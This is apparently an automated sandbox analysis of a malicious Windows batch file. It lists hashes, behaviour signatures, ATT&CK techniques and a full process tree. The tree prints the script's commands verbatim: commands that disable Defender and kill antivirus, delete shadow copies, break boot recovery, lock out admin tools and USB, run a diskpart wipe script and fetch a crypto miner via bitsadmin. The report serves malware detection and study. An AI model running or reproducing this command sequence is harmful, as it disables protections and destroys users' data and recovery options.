a6e4a10576fae9a7ecf407d6dca015355c134ca5c61b25e8aa583cff6817d864

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 02:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Temp.bat
Size 11KB
Sample260812-cmlvysttex
SHA256 a6e4a10576fae9a7ecf407d6dca015355c134ca5c61b25e8aa583cff6817d864
MD5 b04ed8894877a8e50f9deb60a0f88d20
SHA1 6b8bff565c155830d02ab3bd1945fd9279ee469e
SHA512 9c52d9a3a90230fa9193f59a03b6de16ce62a90341c18fddf2e8e4cce98c51ce0a7a24e6a2ed767b722a74bdc42b5bd72d28f6d75d30b4c75db7a4b9bf5132d6
SSDEEP 192:NDzu2OcYTnPySr64PcA0EBffQ5dyT/TA8pcrmNNZ6w5w/4vkmJR0F/cArw7Wxa7S:NPOcYTnPySr64PcA0EBffQ5dyT/TA8pY
TLSH
T11432912B34099C2E8562E1D1DAFB4911BBA4D3479E213FC5F4E6B094740735483AEACF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery dropper evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4296	bcdedit.exe
6112	bcdedit.exe
4436	bcdedit.exe
4360	bcdedit.exe
2512	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2856	bitsadmin.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	vds.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2432	sc.exe
2992	sc.exe
3852	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4664	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1384	PING.EXE
6044	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4144	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2156	vssadmin.exe

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
4668	taskkill.exe
2016	taskkill.exe
2568	taskkill.exe
5608	taskkill.exe
3104	taskkill.exe
5188	taskkill.exe
2180	taskkill.exe
4520	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1384	PING.EXE
6044	PING.EXE

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	taskkill.exe
Token: SeDebugPrivilege	2568	taskkill.exe
Token: SeDebugPrivilege	5608	taskkill.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	5188	taskkill.exe
Token: SeDebugPrivilege	2180	taskkill.exe
Token: SeDebugPrivilege	4520	taskkill.exe
Token: SeDebugPrivilege	4668	taskkill.exe
Token: SeSystemEnvironmentPrivilege	1548	svchost.exe
Token: SeBackupPrivilege	4672	vssvc.exe
Token: SeRestorePrivilege	4672	vssvc.exe
Token: SeAuditPrivilege	4672	vssvc.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 4744	4664	cmd.exe	90
PID 4664 wrote to memory of 5384	4664	cmd.exe	91
PID 5384 wrote to memory of 3576	5384	net.exe	92
PID 4664 wrote to memory of 1384	4664	cmd.exe	93
PID 4664 wrote to memory of 6044	4664	cmd.exe	94
PID 4664 wrote to memory of 4144	4664	cmd.exe	95
PID 4664 wrote to memory of 4596	4664	cmd.exe	96
PID 4664 wrote to memory of 4636	4664	cmd.exe	97
PID 4664 wrote to memory of 4732	4664	cmd.exe	98
PID 4664 wrote to memory of 2432	4664	cmd.exe	99
PID 4664 wrote to memory of 2992	4664	cmd.exe	100
PID 4664 wrote to memory of 2016	4664	cmd.exe	101
PID 4664 wrote to memory of 2568	4664	cmd.exe	103
PID 4664 wrote to memory of 5608	4664	cmd.exe	104
PID 4664 wrote to memory of 3104	4664	cmd.exe	105
PID 4664 wrote to memory of 5188	4664	cmd.exe	106
PID 4664 wrote to memory of 2180	4664	cmd.exe	107
PID 4664 wrote to memory of 4520	4664	cmd.exe	108
PID 4664 wrote to memory of 4668	4664	cmd.exe	109
PID 4664 wrote to memory of 1016	4664	cmd.exe	110
PID 4664 wrote to memory of 2156	4664	cmd.exe	112
PID 4664 wrote to memory of 2480	4664	cmd.exe	115
PID 4664 wrote to memory of 4296	4664	cmd.exe	116
PID 4664 wrote to memory of 6112	4664	cmd.exe	117
PID 4664 wrote to memory of 4436	4664	cmd.exe	118
PID 4664 wrote to memory of 4360	4664	cmd.exe	119
PID 4664 wrote to memory of 2512	4664	cmd.exe	120
PID 4664 wrote to memory of 2700	4664	cmd.exe	121
PID 4664 wrote to memory of 1776	4664	cmd.exe	122
PID 4664 wrote to memory of 3436	4664	cmd.exe	123
PID 4664 wrote to memory of 4800	4664	cmd.exe	124
PID 4664 wrote to memory of 4476	4664	cmd.exe	125
PID 4664 wrote to memory of 5692	4664	cmd.exe	126
PID 4664 wrote to memory of 2376	4664	cmd.exe	127
PID 4664 wrote to memory of 1520	4664	cmd.exe	128
PID 4664 wrote to memory of 5348	4664	cmd.exe	129
PID 4664 wrote to memory of 3852	4664	cmd.exe	130
PID 4664 wrote to memory of 1304	4664	cmd.exe	131
PID 1304 wrote to memory of 5620	1304	net.exe	132
PID 4664 wrote to memory of 892	4664	cmd.exe	133
PID 4664 wrote to memory of 2856	4664	cmd.exe	137

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Temp.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\system32\mode.com
  mode con cols=80 lines=25
  2⤵
  PID:4744
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3576
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 2
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1384
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 2
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6044
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4144
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4596
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4636
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:4732
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2432
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2992
- C:\Windows\system32\taskkill.exe
  taskkill /f /im MBAMService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2016
- C:\Windows\system32\taskkill.exe
  taskkill /f /im Norton.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\system32\taskkill.exe
  taskkill /f /im mcafee.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5608
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avast.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3104
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avg.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5188
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2180
- C:\Windows\system32\taskkill.exe
  taskkill /f /im bdagent.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4520
- C:\Windows\system32\taskkill.exe
  taskkill /f /im ekrn.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1016
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2156
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4296
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6112
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4436
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4360
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2512
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v AllowFirmwareUI /t REG_DWORD /d 0 /f
  2⤵
  PID:2700
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f
  2⤵
  PID:1776
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3436
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBHUB3" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4800
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:5692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:2376
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:1520
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:5348
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3852
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:5620
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\del.txt
  2⤵
  PID:892
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer "update" https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-msvc-win64.zip C:\Users\Admin\AppData\Local\Temp\update.zip
  2⤵
  - Download via BitsAdmin
  PID:2856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5104

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
PID:2328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

del.txt

Path C:\Users\Admin\AppData\Local\Temp\del.txt
Size 334B
SHA256 087a3535adf3236bb1bffffb5e45330a6ba70b7222c8daf4df5e4928665e954c
MD5 6549f3e894f5dace0da231528ce32370
SHA1 3bed529a0164113616cb768d0f6cfc6db0962cce
SHA512 5f07c31e037a7df000b12bfea520f0bfed8f39090a98a6b2ef03adbbd4c7d0cae397c62d047ac640c069af3feecc034cdcd0142994aed715a5633a4bf2c1112c
TLSH
T130E07E61478274B6789B8313A9F438199A656090EF32630DEE83B0E00823A38968BF57
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads